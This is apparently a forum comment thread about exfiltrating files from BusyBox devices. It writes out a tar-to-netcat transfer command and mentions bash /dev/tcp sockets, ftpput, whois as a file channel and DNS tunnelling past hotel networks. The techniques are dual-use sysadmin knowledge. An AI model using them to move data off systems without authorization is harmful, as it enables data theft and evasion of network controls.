News for hackers. Stuff that matters.
Re:Exfiltrating files with BusyBox by bcook on Monday October 03, 2016 @05:40PM (#12631569)
I very much prefer using "tar" and "nc".

Example:

Host1: "tar -cf - /file1 /file2 | nc -l -p 54321"

Host2: "nc host1 54321 | tar -xf -"

Re:Exfiltrating files with BusyBox by kjetijor on Monday October 03, 2016 @06:26PM (#12631886)
If you have bash, you can even partially get by without netcat as well. Bash has the wonderful "fake" devicenodes, /dev/tcp/host/port and /dev/udp/host/port.
Re:Exfiltrating files with BusyBox by jandrese on Monday October 03, 2016 @07:53PM (#12632338)
If your system is running busybox you usually won't have full fat bash.

One thing that annoys me is how people will crack a quad core 1.6Ghz smartphone with 64Gb of storage and then install busybox to save those 50Mb over a regular shell environment that won't embarrass itself on every shell script or configure script.

Re:Exfiltrating files with BusyBox by voltagex_ on Monday October 03, 2016 @08:45PM (#12632553)
It's easier to cross-compile busybox (or toybox) than Bash. Cross compiling for Linux is annoying, cross compiling for Android is even more annoying.
Re:Exfiltrating files with BusyBox by bitquark on Monday October 03, 2016 @06:36PM (#12631939)
Agreed, I've clarified why I went with ftp and added a note with example usage of nc, thanks!
Re:Exfiltrating files with BusyBox by schoen on Monday October 03, 2016 @05:44PM (#12631595)
Indeed, the tools listing in that post makes clear that nc should be available. If you have another Unix machine elsewhere, the nc solution avoids having to install any new software on either machine.
Re:Exfiltrating files with BusyBox by bitquark on Monday October 03, 2016 @06:03PM (#12631745)
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Re:Exfiltrating files with BusyBox by netsec_burn on Monday October 03, 2016 @06:19PM (#12631831)
Much the other way around. Netcat is ubiquitous. I haven't come across many systems with ftpput and ftpget.

Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)

Re:Exfiltrating files with BusyBox by bitquark on Monday October 03, 2016 @06:30PM (#12631909)
Interesting, we must be looking at a different class of devices. If we're going down that road, there's always base64 and copy + paste!
Re:Exfiltrating files with BusyBox by na85 on Monday October 03, 2016 @06:30PM (#12631912)
>whois can be used to transfer files too.

Ah, the old DNS-tunnelling trick. A fun way to flip cheap hotels the bird.